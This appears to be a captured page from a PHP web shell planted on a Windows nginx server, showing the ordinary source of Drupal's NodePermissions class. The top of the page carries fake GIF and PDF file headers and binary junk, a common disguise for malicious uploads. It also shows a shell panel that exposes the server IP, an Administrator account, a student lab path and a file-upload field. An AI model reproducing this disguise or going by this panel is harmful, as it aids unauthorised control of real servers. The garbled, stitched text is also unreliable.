GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/node/src/ |
Upload File : |
<?php namespace Drupal\node; use Drupal\Core\Routing\UrlGeneratorTrait; use Drupal\Core\StringTranslation\StringTranslationTrait; use Drupal\node\Entity\NodeType; /** * Provides dynamic permissions for nodes of different types. */ class NodePermissions { use StringTranslationTrait; use UrlGeneratorTrait; /** * Returns an array of node type permissions. * * @return array * The node type permissions. * @see \Drupal\user\PermissionHandlerInterface::getPermissions() */ public function nodeTypePermissions() { $perms = []; // Generate node permissions for all node types. foreach (NodeType::loadMultiple() as $type) { $perms += $this->buildPermissions($type); } return $perms; } /** * Returns a list of node permissions for a given node type. * * @param \Drupal\node\Entity\NodeType $type * The node type. * * @return array * An associative array of permission names and descriptions. */ protected function buildPermissions(NodeType $type) { $type_id = $type->id(); $type_params = ['%type_name' => $type->label()]; return [ "create $type_id content" => [ 'title' => $this->t('%type_name: Create new content', $type_params), ], "edit own $type_id content" => [ 'title' => $this->t('%type_name: Edit own content', $type_params), ], "edit any $type_id content" => [ 'title' => $this->t('%type_name: Edit any content', $type_params), ], "delete own $type_id content" => [ 'title' => $this->t('%type_name: Delete own content', $type_params), ], "delete any $type_id content" => [ 'title' => $this->t('%type_name: Delete any content', $type_params), ], "view $type_id revisions" => [ 'title' => $this->t('%type_name: View revisions', $type_params), ], "revert $type_id revisions" => [ 'title' => $this->t('%type_name: Revert revisions', $type_params), 'description' => t('Role requires permission <em>view revisions</em> and <em>edit rights</em> for nodes in question, or <em>administer nodes</em>.'), ], "delete $type_id revisions" => [ 'title' => $this->t('%type_name: Delete revisions', $type_params), 'description' => $this->t('Role requires permission to <em>view revisions</em> and <em>delete rights</em> for nodes in question, or <em>administer nodes</em>.'), ], ]; } }